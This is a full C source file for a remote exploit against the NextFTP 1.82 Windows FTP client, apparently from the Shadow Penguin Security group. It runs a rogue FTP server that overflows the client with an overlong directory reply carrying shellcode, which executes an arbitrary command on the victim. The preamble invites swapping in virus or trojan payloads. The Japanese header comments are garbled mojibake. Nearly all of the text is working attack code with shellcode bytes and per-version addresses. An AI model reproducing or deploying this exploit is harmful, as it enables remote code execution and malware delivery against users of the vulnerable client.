We found the overflow bug of NextFTP Ver1.82. It overflows when that receives the long message of CWD reply. This exploit code execute any command on the target windows, but, if you modify the exploit code, you can send any codes such as the format or remove program, virus, trojan, and so on.
47d7736f87fb1530ec150962846999918098ac81ec6b671d35f46b6d4f89c748
/*=============================================================================
Next FTP Exploit Server Rev.2
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
[ðà]
NextFTP Ver1.82 ÌCWDÉI[o[t[oOª èܵ½BFTPT[o¤
Åexploit codeðM·é±ÆÉæèANCAgÉεÄCÓÌðÀs
³¹é±ÆªÅ«Ü·B±ÌTvÍUNIXÅ®ìµACÓÌ[U¼ApX
[hðóµAexploit_codeðM·égCÅ·B±ÌTvÅÍA
exploit_codeÍANCAgãÌCÓÌR}hÌÀsðs¤àÌÅ·ªA
exploit_codeðgÖ¦é±ÆÉæèCÓÌt@CíAECX´õÈÇà
Â\Å·(Ö¥R[h: 00H, 22H, FFH)B
[®ìmF]
ET[o TurboLinux3.0 (åïÌUNIXÅÂ)
ENCAg Windows98
EFTP NextFTP Ver1.82
[T[oÝè]
WÌftpdðâ~µÜ·B»ÌãARpCµÄÀs·êÎOKÅ·B
(RpCá:gcc ex_nextftp.c -lsocket)
ܽA^[QbgNCAgÌWindows C Runtime LibraryÌo[WÉ
æÁÄA\[X
#define DLL_VER_PSYSTEM V5_00_7022_SYSTEM
#define DLL_VER_PEXIT V5_00_7022_EXIT
ÌsðÏXµÄ¾³¢Bo[WÍA
c:\windows\system\msvcrt.dll
ðENbNAvpeBÅmFÅ«Ü·B
ܽAfBtHgÅÍnotepad.exeðN®µÄ¢Ü·ªA
#define EXPCMD "notepad.exe"
ÌsðÏX·êÎACÓÌR}hðÀs³¹é±ÆªÅ«Ü·B
¦ FFFFTP Ver1.66Éà¯lÌZL
eBz[ª èÜ·B
±ÌexploitÍgpūܹñªAJumpingAddressÌÏXÅ®ì·éÆv¢Ü·B
=============================================================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>
#define V5_00_7128_SYSTEM 0xc1a0
#define V5_00_7128_EXIT 0x8bb0
#define V5_00_7022_SYSTEM 0x888d
#define V5_00_7022_EXIT 0x39ef
#define V6_00_8168_0_SYSTEM 0x888d
#define V6_00_8168_0_EXIT 0x39ef
#define V6_00_8397_0_SYSTEM 0x9824
#define V6_00_8397_0_EXIT 0x5504
#define BANNER "ftp.trojan.ac.jp FTP server ready."
#define EXPCMD "notepad.exe"
#define DLL_VER_PSYSTEM V5_00_7022_SYSTEM
#define DLL_VER_PEXIT V5_00_7022_EXIT
int get_connection(socket_type, port, listener)
int socket_type;
int port;
int *listener;
{
struct sockaddr_in address;
struct sockaddr_in acc;
int listening_socket;
int connected_socket = -1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof(acc);
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, socket_type, 0);
if (listening_socket < 0) {
perror("socket");
exit(1);
}
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,
sizeof(address)) < 0) {
perror("bind");
close(listening_socket);
exit(1);
}
if (socket_type == SOCK_STREAM){
listen(listening_socket, 5);
while(connected_socket < 0){
connected_socket=accept(listening_socket,&acc,&acclen);
if (connected_socket < 0){
if (errno != EINTR){
perror("accept");
close(listening_socket);
exit(1);
}else continue;
}
new_process=fork();
if (new_process<0){
perror("fork");
close(connected_socket);
connected_socket = -1;
}else{
if (new_process == 0) {
close(listening_socket);
if (listener!=NULL) *listener = -1;
}else{
close(connected_socket);
connected_socket = -1;
}
}
}
return connected_socket;
}else return listening_socket;
}
int sock_write(sockfd, buf, count)
int sockfd;
char *buf;
size_t count;
{
size_t bytes_sent = 0;
int this_write;
while (bytes_sent < count) {
do
this_write = write(sockfd, buf, count - bytes_sent);
while ( (this_write < 0) && (errno == EINTR) );
if (this_write <= 0)
return this_write;
bytes_sent += this_write;
buf += this_write;
}
return count;
}
int sock_gets(sockfd, str, count)
int sockfd;
char *str;
size_t count;
{
int bytes_read;
int total_count = 0;
char *current_position;
char last_read = 0;
current_position = str;
while (last_read != 10) {
bytes_read = read(sockfd, &last_read, 1);
if (bytes_read <= 0) return -1;
if ( (total_count < count)
&& (last_read !=0)
&& (last_read != 10)
&& (last_read !=13) ) {
current_position[0] = last_read;
current_position++;
total_count++;
}
}
if (count > 0)
current_position[0] = 0;
return total_count;
}
char exploit_code[200]={
0xb4,0x20,0xb4,0x21,0x8b,0xcc,0x83,0xe9,
0x04,0x8b,0x19,0x33,0xc9,0x66,0xb9,0x10,
0x10,0x80,0x3b,0xb4,0x75,0x12,0x80,0x7b,
0x01,0x20,0x75,0x0c,0x80,0x7b,0x02,0xb4,
0x75,0x06,0x80,0x7b,0x03,0x21,0x74,0x03,
0x43,0xe2,0xe6,0x33,0xc0,0xb0,0x31,0x03,
0xd8,0xb4,0xfe,0x80,0xc4,0x01,0x88,0x63,
0x3b,0x88,0x63,0x3c,0x88,0x63,0x3d,0x88,
0x63,0x24,0x88,0x63,0x36,0xeb,0x23,0x5b,
0x53,0x32,0xe4,0x83,0xc3,0x0c,0x88,0x23,
0xb8,0x8d,0x88,0x01,0x78,0xee,0xd0,0x33,
0xc0,0x50,0xb4,0x78,0xc1,0xe0,0x10,0x33,
0xdb,0x66,0xbb,0xef,0x39,0x0b,0xc3,0xee,
0xd0,0x90,0xe8,0xd8,0x90,0x90,0x90,0x00};
int main(argc, argv)
int argc;
char *argv[];
{
int sock,listensock;
char buffer[1024];
char name[1024];
char code[1000];
static char xxx[20000];
static char xx2[20000];
unsigned int i,k,ip;
int ver_system,ver_exit;
sock = get_connection(SOCK_STREAM, 21, &listensock);
/* Banner send */
memset(xxx,41,10000);
xxx[10000]=0;
sprintf(xx2,"220 %s \x0d\x0a",BANNER);
sock_write(sock,xx2,strlen(xx2));
/* User ident */
sock_gets(sock,buffer,1024);
strcpy(name,buffer+5);
sprintf(buffer,"331 Password required for %s.\x0d\x0a",name);
sock_write(sock,buffer,strlen(buffer));
sock_gets(sock,buffer,1024);
sprintf(buffer,"230 User %s logged in.\x0d\x0a",name);
sock_write(sock,buffer,strlen(buffer));
/* get PWD */
sock_gets(sock,buffer,1024);
/* EXPLOT */
ver_system=DLL_VER_PSYSTEM;
ver_exit=DLL_VER_PEXIT;
memset(xxx,0x90,10000);
k=512;
if (ver_system==V6_00_8397_0_SYSTEM)
ip=0x006bcb8c+300;
else
ip=0x006bce50+300;
xxx[k+3]=(ip>>24)&0xff;
xxx[k+2]=(ip>>16)&0xff;
xxx[k+1]=(ip>>8)&0xff;
xxx[k]=ip&0xff;
strcpy(code,exploit_code);
code[0x4d]=strlen(EXPCMD);
strcpy(code+strlen(code),EXPCMD);
code[81]=ver_system&0xff;
code[82]=(ver_system>>8)&0xff;
code[99]=ver_exit&0xff;
code[100]=(ver_exit>>8)&0xff;
for (i=0;i<strlen(code);i++)
xxx[i+350]=code[i];
xxx[1024]=0;
sprintf(xx2,"257 \"%s\" is current directory.\x0d\x0a",xxx);
sock_write(sock,xx2,strlen(xx2));
sock_gets(sock,buffer,1024);
}